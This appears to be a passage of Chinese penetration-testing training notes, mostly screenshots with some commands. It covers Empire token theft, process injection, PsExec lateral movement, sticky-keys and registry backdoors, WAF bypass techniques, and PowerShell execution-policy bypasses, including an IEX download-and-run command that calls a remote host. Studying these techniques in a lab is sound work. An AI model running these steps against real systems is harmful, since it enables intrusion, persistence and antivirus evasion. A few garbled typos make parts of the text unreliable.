首先先来窃取身份，使用命令pth<ID>，这里的ID号就是creds下的CredID号，我们这里来窃取administrator的身份令牌，执行pth 7命令 <a href="http://img.e-com-net.com/image/info8/5338cc6a385645f0b710a2de123441cf.jpg" target="_blank"><img alt="web安全攻防实训笔记_第59张图片" src="http://img.e-com-net.com/image/info8/5338cc6a385645f0b710a2de123441cf.jpg" width="650" height="316" style="border:1px solid black;"></a> 使用steal_token PID命令就窃取了该身份令牌了，如下图所示。 <a href="http://img.e-com-net.com/image/info8/f48923e7c8974eb6a8e8fb5a1f532f04.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/f48923e7c8974eb6a8e8fb5a1f532f04.jpg" width="650" height="97"></a> 我们先尝试访问域内另一台主机WIN7-X86的“C$”，顺利访问，如下图所示。 <a href="http://img.e-com-net.com/image/info8/c3283bf4f84443abbd5c9c7709ec4ac1.jpg" target="_blank"><img alt="web安全攻防实训笔记_第60张图片" src="http://img.e-com-net.com/image/info8/c3283bf4f84443abbd5c9c7709ec4ac1.jpg" width="650" height="296" style="border:1px solid black;"></a> 输入revtoself命令可以将令牌权限恢复到原来的状态 2.会话注入 我们也可以使用usemodule management/psinject模块来进程注入，获取权限，输入info查看参数设置，如下图所示。 <a href="http://img.e-com-net.com/image/info8/ad341adf97a04f3fad65b52eea028198.jpg" target="_blank"><img alt="web安全攻防实训笔记_第61张图片" src="http://img.e-com-net.com/image/info8/ad341adf97a04f3fad65b52eea028198.jpg" width="650" height="476" style="border:1px solid black;"></a> 设置下Listeners和ProcID这2个参数，这里的ProcID还是之前的CMD的1380，运行后反弹回一个域用户权限shell。 <a href="http://img.e-com-net.com/image/info8/e9676dd4a80a475fb063f0fa8001f1e0.jpg" target="_blank"><img alt="web安全攻防实训笔记_第62张图片" src="http://img.e-com-net.com/image/info8/e9676dd4a80a475fb063f0fa8001f1e0.jpg" width="650" height="245" style="border:1px solid black;"></a> 3.Invoke-PsExec PsExec是我在Metasploit下经常使用的模块，还有pstools工具包当中也有psexec，缺点是该工具基本杀毒软件都能检测到，并会留下日志，而且需要开启admin$ 445端口共享。优点是可以直接返回SYSTEM权限。这里我们要演示的是Empire下的Invoke-Psexec模块。 使用该模块的前提是我们已经获得本地管理员权限，甚至域管理员账户，然后以此来进一步持续渗透整个内网。 我们测试该模块前看下当前agents，只有一个IP为192.168.31.251，机器名为WIN7-64的服务器，如下图所示。 <a href="http://img.e-com-net.com/image/info8/cc2f9827164640e893372efaf6a59772.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/cc2f9827164640e893372efaf6a59772.jpg" width="650" height="93"></a> 现在使用模块usemodule lateral_movement/invoke_psexec渗透域内另一台机器WIN7-X86，输入info查看设置参数，如下图所示。 <a href="http://img.e-com-net.com/image/info8/89edbf4194a2471fb3097129a7a58de2.jpg" target="_blank"><img alt="web安全攻防实训笔记_第63张图片" src="http://img.e-com-net.com/image/info8/89edbf4194a2471fb3097129a7a58de2.jpg" width="650" height="353" style="border:1px solid black;"></a> 这里要设置下机器名和监听，输入下列命令，反弹成功 <a href="http://img.e-com-net.com/image/info8/bee90b822f9d452e899597055c334f39.jpg" target="_blank"><img alt="web安全攻防实训笔记_第64张图片" src="http://img.e-com-net.com/image/info8/bee90b822f9d452e899597055c334f39.jpg" width="650" height="141" style="border:1px solid black;"></a> 输入agents命令查看当前agents，多了一个IP为192.168.31.158，机器名为WIN7-X86的服务器 <a href="http://img.e-com-net.com/image/info8/ecacd89e9678417a80a98f342db81602.jpg" target="_blank"><img alt="web安全攻防实训笔记_第65张图片" src="http://img.e-com-net.com/image/info8/ecacd89e9678417a80a98f342db81602.jpg" width="650" height="108" style="border:1px solid black;"></a> 攻击者在获取服务器权限后，通常会用一些后门技术来维持服务器权限，服务器一旦被植入后门，攻击者如入无人之境。服务器重启后，我们的后门程序仍能触发继续运行。这里讲一些window服务端常见的后门技术。 1.权限持久性劫持shift后门 shitf后门，其实就是使用了windows系统的粘滞键功能，当连按5次shift键的时候就会启动粘滞键程序。然后后门程序替换掉这个程序，然后通过按5次就来启动后门。 输入命令usemodule lateral_movement/invoke_wmi_debuggerinfo模块，可以输入info查看参数，set设置相关参数 <a href="http://img.e-com-net.com/image/info8/84fadeb2935442eb80c0efc79803ab89.jpg" target="_blank"><img alt="web安全攻防实训笔记_第66张图片" src="http://img.e-com-net.com/image/info8/84fadeb2935442eb80c0efc79803ab89.jpg" width="650" height="481" style="border:1px solid black;"></a> 运行后，在目标主机远程登录窗口按5次shift即可触发后门，有一个黑框一闪而过，如下图所示 <a href="http://img.e-com-net.com/image/info8/18e7631237af41daa412a1c0219d15ee.jpg" target="_blank"><img alt="web安全攻防实训笔记_第67张图片" src="http://img.e-com-net.com/image/info8/18e7631237af41daa412a1c0219d15ee.jpg" width="650" height="291" style="border:1px solid black;"></a> 这时看我们的Empire已经有反弹代理上线 <a href="http://img.e-com-net.com/image/info8/58d4491a983a45ebabdd2fb3a28af0f3.jpg" target="_blank"><img alt="web安全攻防实训笔记_第68张图片" src="http://img.e-com-net.com/image/info8/58d4491a983a45ebabdd2fb3a28af0f3.jpg" width="650" height="153" style="border:1px solid black;"></a> 2.注册表注入后门 使用usemodule persistence/userland/registry模块，运行后会在目标主机启动项添加一个命令，可以输入info查看信息 <a href="http://img.e-com-net.com/image/info8/30163e1eaeb44ae29ce55cf5c63763ef.png" target="_blank"><img alt="web安全攻防实训笔记_第69张图片" src="http://img.e-com-net.com/image/info8/30163e1eaeb44ae29ce55cf5c63763ef.png" width="919" height="762" style="border:1px solid black;"></a> 按如下命令设置其中几个参数，如下图所示。 <a href="http://img.e-com-net.com/image/info8/ca5b2223cd8446f7845ab3a8ff38f070.jpg" target="_blank"><img alt="web安全攻防实训笔记_第70张图片" src="http://img.e-com-net.com/image/info8/ca5b2223cd8446f7845ab3a8ff38f070.jpg" width="650" height="111" style="border:1px solid black;"></a> 重启目标主机，用户登录系统后，会有反弹会话生成 <a href="http://img.e-com-net.com/image/info8/3e84e0c135f6460baa8239ec615239e8.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/3e84e0c135f6460baa8239ec615239e8.jpg" width="650" height="56"></a> 在实际渗透中，当拿到webshell上传的Metasploit客户端无法绕过目标主机的杀软时，可以使用PowerShell来绕过，也可以执行Empire的Payload来绕过，成功之后再用Empire的模块将其反弹回Metasploit。 首先在Metasploit我们使用multi/script/web_delivery模块，输入如下命令 <a href="http://img.e-com-net.com/image/info8/1b82c312039748f6b9eecce9b8b94746.jpg" target="_blank"><img alt="web安全攻防实训笔记_第71张图片" src="http://img.e-com-net.com/image/info8/1b82c312039748f6b9eecce9b8b94746.jpg" width="650" height="353" style="border:1px solid black;"></a> 使用usemodule code_execution/invoke_metasploitpayload模块，输入info看下参数，如下图所示 <a href="http://img.e-com-net.com/image/info8/ed13e706fb804cbdaa880cc3b348dcec.png" target="_blank"><img alt="web安全攻防实训笔记_第72张图片" src="http://img.e-com-net.com/image/info8/ed13e706fb804cbdaa880cc3b348dcec.png" width="893" height="588" style="border:1px solid black;"></a> 这里我们只需修改1个参数URL， 修改为前面Metasploit生成的Using URL: http://192.168.199.129:8088/qJaa5sHBuNst5y 按下列命令设置完毕，然后执行 <a href="http://img.e-com-net.com/image/info8/622525e0f7584bd28294201e7f292b28.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/622525e0f7584bd28294201e7f292b28.jpg" width="650" height="64"></a> Metasploit收到Empire反弹回来的shell，如下图所示。 <a href="http://img.e-com-net.com/image/info8/8b1146b72007457d8cf45d33614be424.jpg" target="_blank"><img alt="web安全攻防实训笔记_第73张图片" src="http://img.e-com-net.com/image/info8/8b1146b72007457d8cf45d33614be424.jpg" width="650" height="207" style="border:1px solid black;"></a> 文件上传漏洞概述：在现代互联网的我web应用程序中，上传文件是一种常见的功能，上传文件的时候如果服务器脚本语言对上传的文件进行严格的过滤就有可能上传恶意文件，从而控制整个网站，甚至是服务器。 存在原因：传文件时，如果服务器代码，对客户端上传的文件进行验证和过滤，就容易造成可以上传任意文件的情况，包括上传脚本文件（asp,aspx,php,jsp等格式的文件） 危害:非法用户可以利用上传的恶意脚本文件控制整个网站，。甚至控制服务器，这个恶意文件又称webS核力量，也可将脚本称为一种网页后门，WebShell叫阿奔具有强大功能，比如查看服务器中的文件，执行系统命令。 2，常见的上传检测规则： A，服务器MIME类型检测Content-type内容 B，客户端JavaScript检测检测文件扩展名 C，服务器目录路经检测path参数 D，服务器文件名拓展名检测estension内容 E，服务器文件内容检测（是否合法或含有恶意代码） 暴力破解漏洞产生与介绍： 产生：由于服务器端没有做限制，导致攻击者可通过暴力的手段破解所需信息（用户名，密码，验证码） 酔 0 介绍：“需要一个大的字典，如4位数字的验证码，暴力破解关键在于字典的大小，常见用于爆破弱口令。 逻辑漏洞： 就是指攻击者鲤鱼精业务的设计缺陷，获取敏感信息或破坏业务的完整性， 越权访问：水平和垂直越权。 越权访问攻击测试链接：http://172.16.200.12/yuequan/test2/admin/viewpassword. WAF：（web应用防火墙）是通过执行一系列对HTTP/HTTPS的安全策略来专门为web应用提供保护。 WAF类型：软件型（直接检测服务器上是否存在WEBshell） 硬件型（支持多种部署，在旁听监听模式时只记录攻击不进行拦截） 云waf（一般以反向代理的形式工作，通过配置NS记录干活CNAME记录，是对网站的请求优先经过WAF主机，经过WAF过滤后，将认为无害的请求报文在传输给实际网站服务器进行请求） 网站系统内置WAF（在网站内内置的过滤，直接镶嵌在代码里，自由度比较高，有以下四种：①输入参数强制类型转换②输入参数合法性检测③关键函数执行，对经过代码流程的输入进行检测④对输入的数据进行替换过后再继续执行代码执行流程）网站系统内置的WAF与业务更加切合，在对安全与业务都比较了解的情况下，可更 少的收到误报与漏报。 WAF判断方法：①SQLMap 输入sqlmap.py -u “http://xxx.com” --identify-waf --batch 便可找到waf类型 ②直接在相对应网站的url后加最基础的测试语句并放在一个不存在的参数名中。 绕过waf的方法：1，大小写混合 2url编码 3，替换关键字 4，使用注释 5，多参数请求拆分 6，HTTP参数污染 7，生僻函数 8，寻找网站原站IP 9，注入参数到cookies中 Meteasploit技术： 在使用Kali操作系统是应注意即使更新源，就像平时及时更新手机APP更新命令如下： A，apt-get update:只更新软件包的索引源，作用：同步源的软件包的索引信息，从而进行软件更新。 B，Apt-get upgrade:升级系统上安装的所有软件包，如果失败则保持更新之前的状态。 Apt-get dist-upgrade:升级整个Liunux系统（不仅升级所有已安装的软件包，而且会处理升级过程中可能出现的冲突，在某些情况下，他的部分升级需要人工参与）。 渗透攻击大致步骤： *扫描目标及系统，寻找可用漏洞。 *选择并配置一个漏洞利用模块。 *选择并配置一个攻击利用模块。 *选择一个编码技术，用来绕过杀毒软件的查杀。 *渗透攻击。 Powershell 是一种基于任务的命令行解释器和脚本环境，可以说是一种强大的shell,如同linux的bash,专为系统管理员而设计，以.NET框架为平台，Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面，在不需要写入磁盘的情况下执行命令，也可以逃避Anti-Virus检测。另外，可以把PowerShell看作命令行提示符cmd.exe的扩充。 对于渗透，使用PowerShell场景： 第一种我们需要获得免杀或者更好的隐蔽攻击对方的win机器，可以通过钓鱼等方式直接执行命令 第二种我们已经到了对方网络，或是一台DMZ的win机器，那么我们利用PowerShell对内网继续深入 基于.NET框架 操作系统信任 提供win系列操作系统的几乎一切访问权限 win7之后默认安装 脚本可以运行在内存中，不需要写入磁盘 cmd.exe通常会被安全软件阻止，一般PowerShell不会 常用攻击工具： <a href="http://img.e-com-net.com/image/info8/c0ae15a1b78d40cd81443f21873862b2.jpg" target="_blank"><img alt="web安全攻防实训笔记_第74张图片" src="http://img.e-com-net.com/image/info8/c0ae15a1b78d40cd81443f21873862b2.jpg" width="650" height="320" style="border:1px solid black;"></a> 可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看当前系统的PowerShell版本。 <a href="http://img.e-com-net.com/image/info8/9384220af55a427db6ff0416db630998.jpg" target="_blank"><img alt="web安全攻防实训笔记_第75张图片" src="http://img.e-com-net.com/image/info8/9384220af55a427db6ff0416db630998.jpg" width="650" height="335" style="border:1px solid black;"></a> 一个PowerShell脚本其实就是一个简单的文本文件，这个文件包含了一系列的 PowerShell命令，每个命令显示为独立的一行，PowerShell文件的后缀为 .PS1。 执行策略： 为防止恶意脚本的执行，PowerShell有一个执行策略，默认情况下，这个执行策略被设置为受限。 我们可以使用： Get-ExecutionPolicy 命令查看PowerShell当前的执行策略。它有4个策略。 Restricted：脚本不能运行(默认设置) RemoteSigned：本地创建的脚本可以运行，但是从网上下载的脚本不能运行(拥有数字证书签名的除外) AllSigned：仅当脚本由受信任的发布者签名时才能运行； Unrestricted：允许所有的脚本执行 另外修改PowerShell执行策略：Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行 运行脚本： 运行一个脚本，必须键入完整的路径和文件名，例如，你要运行一个名为a.ps1的脚本，可以键入c:\script\a.ps1 但如果PowerShell脚本文件在你的系统目录中，那么在命令提示符后直接键入脚本文件名即可运行，如.\a.ps1的前面就加上“.\”，这和在Linux下执行Shell脚本的方法一样。 <a href="http://img.e-com-net.com/image/info8/d28544f3716f42358ac0f6aeac1c8b23.jpg" target="_blank"><img alt="web安全攻防实训笔记_第76张图片" src="http://img.e-com-net.com/image/info8/d28544f3716f42358ac0f6aeac1c8b23.jpg" width="650" height="244" style="border:1px solid black;"></a> 管道： 管道的作用就是将一个命令的输出作为另一个命令的输入，两个命令之间用管道符号(|)连接 例如： 假设停止所有目前运行中的，以“note"字符开头命名的程序 Get-Process note*|stop-process 基本知识： 在PowerShell下，类似“cmd命令”叫做“cmdlet” ，其命令的命名规范很一致，都采用了动词-名词的形式，如Net-Item，动词一般为Add、New、Get、Remove、Set等。PowerShell还兼容cmd和Linux命令，如查看目录可以使用 dir 或者 ls ，并且PowerShell命令不区分大小写。 后面会以文件操作为例讲解PowerShell命令的基本用法 <a href="http://img.e-com-net.com/image/info8/eab44ffc364e419f879ffdb66088ad95.jpg" target="_blank"><img alt="web安全攻防实训笔记_第77张图片" src="http://img.e-com-net.com/image/info8/eab44ffc364e419f879ffdb66088ad95.jpg" width="650" height="291" style="border:1px solid black;"></a> <a href="http://img.e-com-net.com/image/info8/d2ea1cc8193645c98135d7c655ab5df8.png" target="_blank"><img alt="web安全攻防实训笔记_第78张图片" src="http://img.e-com-net.com/image/info8/d2ea1cc8193645c98135d7c655ab5df8.png" width="754" height="164" style="border:1px solid black;"></a> <a href="http://img.e-com-net.com/image/info8/f7e73b353260413ca59210d271d77b0a.jpg" target="_blank"><img alt="web安全攻防实训笔记_第79张图片" src="http://img.e-com-net.com/image/info8/f7e73b353260413ca59210d271d77b0a.jpg" width="650" height="361" style="border:1px solid black;"></a> 如果运行PowerShell脚本程序，必须用管理员权限将Restricted策略改成Unrestricted 在渗透测试时，就需要采用一些方法绕过策略来执行PowerShell脚本，列举如下三种方式 1.绕过本地权限执行 2.本地隐藏绕过权限执行脚本 3.用IEX下载远程PS1脚本绕过权限执行 如果运行PowerShell脚本程序，必须用管理员权限将Restricted策略改成Unrestricted 在渗透测试时，就需要采用一些方法绕过策略来执行PowerShell脚本，列举如下三种方式 1.绕过本地权限执行 2.本地隐藏绕过权限执行脚本 3.用IEX下载远程PS1脚本绕过权限执行 上传test.ps1到目标主机，在cmd环境下，在目标主机本地当前目录执行该脚本 powershell -exec bypass .\test.ps1 <a href="http://img.e-com-net.com/image/info8/e3b6737819d14eb3931beba34a059264.jpg" target="_blank"><img alt="web安全攻防实训笔记_第80张图片" src="http://img.e-com-net.com/image/info8/e3b6737819d14eb3931beba34a059264.jpg" width="650" height="258" style="border:1px solid black;"></a> powershell.exe -exec bypass -W hidden -nop test.ps1 输入命令执行后会退出命令提示符 <a href="http://img.e-com-net.com/image/info8/9f02a109e1a84e1ba90f8b91b073aea4.jpg" target="_blank"><img alt="web安全攻防实训笔记_第81张图片" src="http://img.e-com-net.com/image/info8/9f02a109e1a84e1ba90f8b91b073aea4.jpg" width="650" height="177" style="border:1px solid black;"></a> powershell -c IEX (New-Object System.Net.Webclient).DownloadString('http://192.168.10.11/test.ps1') <a href="http://img.e-com-net.com/image/info8/f07d38c841c949489c4b457b78cbae7f.jpg" target="_blank"><img alt="web安全攻防实训笔记_第82张图片" src="http://img.e-com-net.com/image/info8/f07d38c841c949489c4b457b78cbae7f.jpg" width="650" height="149" style="border:1px solid black;"></a> 对上述命令参数进行说明 ExecvtionPolicy Bypass（-exec bypass）：绕过执行安全策略，这个参数非常重要，在默认情况下，PowerShell的安全策略规定了PoweShell不允许运行命令和文件。通过设置这个参数，可以绕过任意一个安全保护规则; WindowStyle Hidden(-w hidden)：隐藏窗口，也就是执行完命令后，窗口隐藏; -command(-c)：执行powershell脚本; NoProfile(-nop)：PowerShell控制台不加载当前用户的配置文件； NoLogo：启动不显示版权标志的PowerShell； Nonlnteractive(-noni)：非交互模式； Noexit：执行后不退出shell，这在使用键盘记录等脚本时非常重要； -enc base64：把ps脚本编码成base64来执行，实战用的最多； </div> </div> </div> </div> </div>  <div id="SOHUCS" sid="1535376752929435648"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script>  <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad">  <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div>  <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div>  <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(安全)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1773581925500387328.htm" title="信任" target="_blank">信任</a> 饮冰伊乔 <div>随着社会的发展，微信和支付宝交易给人们带来了极大的方便，越来越多的人出门都只选择拿一部手机即可，方便安全，可昨天我就遇到了一件比较尴尬的事。昨天傍晚，我从公司出来，感觉有点饿，决定索性吃了饭再回去，来到去过几次的一个店里，如往常一样叫了餐，当时店里吃饭的不多，老板麻利的先去做了，正要扫微信付账的时候发现手机没电了，迷之尴尬，我只好跟老板说不用做了，手机没电了，我身上又没现金，付不了帐了。老板娘很热</div> </li> <li><a href="/article/1773541088322191360.htm" title="为千佩蓉：为家庭放弃事业的男人没出息吗？" target="_blank">为千佩蓉：为家庭放弃事业的男人没出息吗？</a> 北京朵多教育 <div>为家庭放弃事业的男人没出息吗我们在搭档的过程中会遇到一些问题，因此要做好心理准备，这样才不会陷入抱怨或双输的局面。关键不是谁比谁能力强，而是夫妻之间如何取长补短。家庭要赢需要每个人的付出和牺牲，大家一起分担和负责，这样才能享受相爱的自由、安全和归属感。我们需要做的牺牲包括自己的时间、自己的一些爱好，甚至事业发展。为千认为做好父亲是非常重要的事，所以他不仅要出席在孩子们的生活中，还要积极地参与和带领</div> </li> <li><a href="/article/1773520125064970240.htm" title="yarn的安装和使用全网最详细教程" target="_blank">yarn的安装和使用全网最详细教程</a> zxj19880502 <a class="tag" taget="_blank" href="/search/yarn/1.htm">yarn</a><a class="tag" taget="_blank" href="/search/npm/1.htm">npm</a> <div>一、yarn的简介：Yarn是facebook发布的一款取代npm的包管理工具。二、yarn的特点：速度超快。Yarn缓存了每个下载过的包，所以再次使用时无需重复下载。同时利用并行下载以最大化资源利用率，因此安装速度更快。超级安全。在执行代码之前，Yarn会通过算法校验每个安装包的完整性。超级可靠。使用详细、简洁的锁文件格式和明确的安装算法，Yarn能够保证在不同系统上无差异的工作。三、yarn的</div> </li> <li><a href="/article/1773510684068347904.htm" title="请简单介绍一下Shiro框架是什么？Shiro在Java安全领域的主要作用是什么？Shiro主要提供了哪些安全功能？" target="_blank">请简单介绍一下Shiro框架是什么？Shiro在Java安全领域的主要作用是什么？Shiro主要提供了哪些安全功能？</a> AaronWang94 <a class="tag" taget="_blank" href="/search/shiro/1.htm">shiro</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>请简单介绍一下Shiro框架是什么？Shiro框架是一个强大且灵活的开源安全框架，为Java应用程序提供了全面的安全解决方案。它主要用于身份验证、授权、加密和会话管理等功能，可以轻松地集成到任何JavaWeb应用程序中，并提供了易于理解和使用的API，使开发人员能够快速实现安全特性。Shiro的核心组件包括Subject、SecurityManager和Realms。Subject代表了当前与应用</div> </li> <li><a href="/article/1773471029155397632.htm" title="网络安全（黑客）——自学2024" target="_blank">网络安全（黑客）——自学2024</a> 小言同学喜欢挖漏洞 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/1.htm">信息安全</a><a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/1.htm">渗透测试</a> <div>01什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。02怎样规划网络安全如果你是一</div> </li> <li><a href="/article/1773470776930926592.htm" title="黑客（网络安全）技术自学30天" target="_blank">黑客（网络安全）技术自学30天</a> 一个迷人的黑客 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/1.htm">信息安全</a><a class="tag" taget="_blank" href="/search/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95/1.htm">渗透测试</a> <div>01什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。02怎样规划网络安全如果你是一</div> </li> <li><a href="/article/1773460076456116224.htm" title="2.5 项目讲解流程" target="_blank">2.5 项目讲解流程</a> 王守谦26 <a class="tag" taget="_blank" href="/search/%E9%A1%B9%E7%9B%AE%E8%B5%84%E6%96%99/1.htm">项目资料</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a> <div>一、项目讲解1、自我介绍2、项目流程-===============================二、自我介绍（一）、学员自我介绍，讲解存在的问题比如：讲解年份、卡顿、重点学历、忘记（二）自我规则内容1、开场白：礼貌用语2、时间：自我介绍1-2分钟以内3、内容：姓名、籍贯、毕业院校、（拉进面试官距离）4、技能：功能测试、接口测试、自动化测试、app测试、性能测试、安全测试黑盒测试、白盒测试、灰盒</div> </li> <li><a href="/article/1773410350826323968.htm" title="物联网边缘网关有哪些优势？-天拓四方" target="_blank">物联网边缘网关有哪些优势？-天拓四方</a> 北京天拓四方科技股份有限公司 <a class="tag" taget="_blank" href="/search/%E7%89%A9%E8%81%94%E7%BD%91/1.htm">物联网</a><a class="tag" taget="_blank" href="/search/%E5%85%B6%E4%BB%96/1.htm">其他</a><a class="tag" taget="_blank" href="/search/%E8%BE%B9%E7%BC%98%E8%AE%A1%E7%AE%97/1.htm">边缘计算</a> <div>随着物联网技术的快速发展，越来越多的设备接入网络，数据交互日益频繁，对数据处理和传输的要求也越来越高。在这样的背景下，物联网边缘网关应运而生，以其低延迟、减少带宽消耗、提高数据质量和安全性等优势，为物联网应用提供了强大的支持。物联网边缘网关的应用场景广泛，几乎涵盖了所有需要实时数据处理和传输的领域。在工业场景中，边缘计算网关可以实时处理海量传感器和设备的数据，实现对运行、制造过程的全环节实时监控、</div> </li> <li><a href="/article/1773353080805457920.htm" title="Android 系统应用 pk8签名文件转jks或keystore教程" target="_blank">Android 系统应用 pk8签名文件转jks或keystore教程</a> 蜗牛、Z <a class="tag" taget="_blank" href="/search/AOSP/1.htm">AOSP</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/Framework/1.htm">Framework</a><a class="tag" taget="_blank" href="/search/android/1.htm">android</a><a class="tag" taget="_blank" href="/search/aosp/1.htm">aosp</a><a class="tag" taget="_blank" href="/search/%E7%B3%BB%E7%BB%9F%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91/1.htm">系统应用开发</a> <div>一、介绍签名文件对于我们在做应用开发中，经常遇到，且签名文件不仅仅是保护应用安全，还会涉及到应用与底层之间的数据共享和API文件等问题。在Android中，签名文件同样也存在这个问题。但是android中又区分系统应用和普通应用。系统应用可以通过android:sharedUserId="android.uid.system"同享系统uid，可以获取更高的权限。所以在做系统应用开发的时候，经常需要</div> </li> <li><a href="/article/1773347164047605760.htm" title="自学黑客（网络安全）技术——2024最新" target="_blank">自学黑客（网络安全）技术——2024最新</a> 九九归二 <a class="tag" taget="_blank" href="/search/web%E5%AE%89%E5%85%A8/1.htm">web安全</a><a class="tag" taget="_blank" href="/search/%E5%AE%89%E5%85%A8/1.htm">安全</a><a class="tag" taget="_blank" href="/search/%E5%AD%A6%E4%B9%A0/1.htm">学习</a><a class="tag" taget="_blank" href="/search/%E7%AC%94%E8%AE%B0/1.htm">笔记</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C/1.htm">网络</a><a class="tag" taget="_blank" href="/search/%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8/1.htm">网络安全</a><a class="tag" taget="_blank" href="/search/%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8/1.htm">信息安全</a> <div>01什么是网络安全网络安全可以基于攻击和防御视角来分类，我们经常听到的“红队”、“渗透测试”等就是研究攻击技术，而“蓝队”、“安全运营”、“安全运维”则研究防御技术。无论网络、Web、移动、桌面、云等哪个领域，都有攻与防两面性，例如Web安全技术，既有Web渗透，也有Web防御技术（WAF）。作为一个合格的网络安全工程师，应该做到攻守兼备，毕竟知己知彼，才能百战百胜。02怎样规划网络安全如果你是一</div> </li> <li><a href="/article/1773302480382263296.htm" title="计算机常用端口号" target="_blank">计算机常用端口号</a> 王依硕 <a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a><a class="tag" taget="_blank" href="/search/ssh/1.htm">ssh</a> <div>ftp：（20端口）用于ftp服务，用于数据传输。ftp：（21端口）用于文件上传和下载。ssh：（22端口）用于安全Shell访问和文件传输。telnet：（23端口）用于远程命令行计算机管理。smtp：（25端口）用于发送电子邮件。dns：（53端口）用于域名解析。dhcp：（67和68端口）用于动态分配IP地址和配置网络参数。tftp：（69端口）使用udp连接。finger：（79端口）是</div> </li> <li><a href="/article/1773280073802121216.htm" title="php 快速入门（六）" target="_blank">php 快速入门（六）</a> 王依硕 <a class="tag" taget="_blank" href="/search/PHP/1.htm">PHP</a><a class="tag" taget="_blank" href="/search/php/1.htm">php</a><a class="tag" taget="_blank" href="/search/%E5%BC%80%E5%8F%91%E8%AF%AD%E8%A8%80/1.htm">开发语言</a> <div>一、前后台交互1.1$_GET用来获取浏览器通过GET方法提交的数据GET方法它是通过把参数数据加在提交表单的action属性所指的URL中，值和表单内每个字段一一对应，然后在URL中可以看到，但是有如下缺点1.安全性不好，在URL中可以看得到2.传送数据量较小，不能大于2KB1.2$_POST用来获取浏览器通过POST方法提交的数据。POST方法它是通过HTTPPOST机制，将表单的各个字段放置</div> </li> <li><a href="/article/1772778796328484864.htm" title="GROM学习" target="_blank">GROM学习</a> 码小白l <a class="tag" taget="_blank" href="/search/golang/1.htm">golang</a> <div>什么是GROMGo语言ORM（对象关系映射）库，它提供了一种高效、简洁的方式来操作数据库。通过将数据库表映射为Go语言的结构体，GORM让数据库操作变得更加直观和类型安全。GORM支持主流的数据库系统，包括MySQL、PostgreSQL、SQLite和SQLServer等GORM提供了一系列的API来操作MySQL数据库。以下是一些常用的GORMAPI操作，以及它们在操作MySQL时的用法：安装</div> </li> <li><a href="/article/1772741537877262336.htm" title="山东省大数据局副局长禹金涛一行莅临聚合数据走访调研" 